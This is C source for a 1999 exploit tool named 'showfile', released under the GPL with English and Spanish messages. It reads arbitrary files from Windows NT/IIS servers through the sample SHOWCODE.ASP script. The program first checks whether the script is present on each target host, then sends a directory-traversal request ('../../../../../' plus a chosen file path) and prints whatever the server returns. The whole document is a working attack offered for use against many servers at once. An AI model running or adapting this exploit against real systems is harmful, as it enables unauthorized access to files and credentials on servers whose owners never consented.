This program will read any file from any NT Server, if the SHOWCODE.ASP script is present. Compile -DSPANISH for the spanish version!!
77d01f32c9be3d63742efac89cd45d47b428c7fb24e8525285ef0acaa786f929
/* showfile
* Obocaman / OiOiO's Band, 1999
*
* Basado en un programa original de weld@l0pht.com
*
* Este programa muestra cualquier fichero de un servidor NT que tenga
* el script SHOWCODE.ASP
*
* This program shows any file from any NT Server, if it has the
* SHOWCODE.ASP script.
*
* ATENCION: No compilar con la opción -O2 !!!!!!
* CAUTION: Don't compile with -O2 option!!!!!
*
* Uso: ./showfile server/s file
* file must be relative to \ in the server.
* fichero debe ser relativo al \ del servidor.
*
* Para ver los mensajes en castellano compilar con
* -D_SPANISH_
*
* Released under GPL.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int sock;
int comprueba(char *host) {
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(host);
if (hp==NULL) {
#ifdef _SPANISH_
fprintf(stderr,"Host desconocido: %s\n\n",host);
#else
fprintf(stderr,"Unknown host: %s\n\n",host);
#endif
return 0;
}
memset((char*) &sin,0, sizeof(sin));
memcpy((char *) &sin.sin_addr,hp->h_addr,hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
if((connect(sock,(struct sockaddr *) &sin, sizeof(sin))) < 0) {
#ifdef _SPANISH_
fprintf(stderr,"Hubo un error en la conexión con el host %s.\n",host);
#else
fprintf(stderr,"Can't connect with %s.\n",host);
#endif
return 0;
}
return 1;
}
void main(int argc, char *argv[])
{
char total[16384];
char *ok=NULL;
char *buffer;
char *estado;
char *test="GET /msadc/Samples/SELECTOR/showcode.asp";
char *path="?source=/msadc/Samples/../../../../../";
char *http=" HTTP/1.0\n\n";
int i;
fprintf(stderr,"\nshowfile, by Obocaman / OiOiO's Band. 1999\n");
if (argc <= 2) {
#ifdef _SPANISH_
printf("Uso: %s <servidor/es> <fichero>\n", argv[0]);
#else
printf("Usage: %s <serer/s> <file>\n", argv[0]);
#endif
exit(1);
}
for(i=1;i<argc-1;i++) {
#ifdef _SPANISH_
fprintf(stderr,"Conectando con %s ...",argv[i]);
#else
fprintf(stderr,"Connecting with %s ...",argv[i]);
#endif
if(comprueba(argv[i])) {
#ifdef _SPANISH_
fprintf(stderr,"Conectado.\n");
#else
fprintf(stderr,"Connected.\n");
#endif
strcpy(total,test);
strcat(total,http);
#ifdef _SPANISH_
fprintf(stderr,"Comprobando: %s",total);
#else
fprintf(stderr,"Testing: %s",total);
#endif
send(sock,total, sizeof(total),0);
estado=(char *)malloc(1024);
read(sock,estado, 1024);
ok=strstr(estado,"200");
if(ok!=NULL) {
#ifdef _SPANISH_
fprintf(stderr,"OK, el servidor %s posee el showcode.asp\n",argv[i]);
#else
fprintf(stderr,"OK, server %s has the showcode.asp\n",argv[i]);
#endif
memset(total,0,sizeof(total));
strcpy(total,test);
strcat(total,path);
strcat(total,argv[argc-1]);
strcat(total,http);
#ifdef _SPANISH_
fprintf(stderr,"Enviando %s",total);
#else
fprintf(stderr,"Sending %s",total);
#endif
comprueba(argv[i]);
send(sock,total,sizeof(total),0);
#ifdef _SPANISH_
printf("\n*** Servidor: %s ***\n",argv[i]);
#else
printf("\n*** Server: %s ***\n",argv[i]);
#endif
buffer=(char *)malloc(40000);
while(read(sock,buffer,1)>0)
printf("%s",buffer);
}
else {
#ifdef _SPANISH_
fprintf(stderr,"Mal rollo, el servidor %s no tiene el showcode.asp\n",argv[i]);
#else
fprintf(stderr,"Bad news, server %s hasn't showcode.asp...\n",argv[i]);
#endif
}
printf("\n");
free(buffer);
free(estado);
close(sock);
}
}
}